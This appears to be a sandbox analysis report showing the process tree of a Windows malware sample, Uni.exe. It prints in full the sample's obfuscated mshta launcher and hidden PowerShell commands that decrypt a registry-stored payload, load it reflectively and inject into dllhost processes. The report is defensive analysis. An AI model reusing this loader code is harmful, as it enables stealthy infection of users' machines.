  C:\Windows\System32\dllhost.exe /Processid:{7296fd10-6de9-443d-8b83-57000d465063}
  2⤵
  PID:6132

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1192
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2668
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:972
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4520
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3788
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{dba25e9a-5749-4959-aaac-34ccb64a32ff}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1532
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3788).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3668
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{748131be-b8d0-47da-900b-5183202d2085}
        5⤵
        
        PID:4640
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d726aa55-d114-4c85-815f-0c293dee4ddf}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f9399d2b-1006-4229-96e5-f3f7c9b5b357}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5756
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f4dfd0af-395b-4d94-9a6c-209aebe72e99}
        5⤵
        
        PID:5636
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5636 -s 456
        6⤵
        Drops file in Windows directory
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5736
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{6a1ef3e9-950a-460b-acc6-919ec28f5c45}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4640
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{09405e0e-3c4a-47e1-800e-6b9f49813f3d}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2336
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{af4c9af3-6025-4673-8d26-2e1c8d120b3c}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1460
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2060

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2880

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2980

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3228

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3380
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c "Uni.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3248
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5036
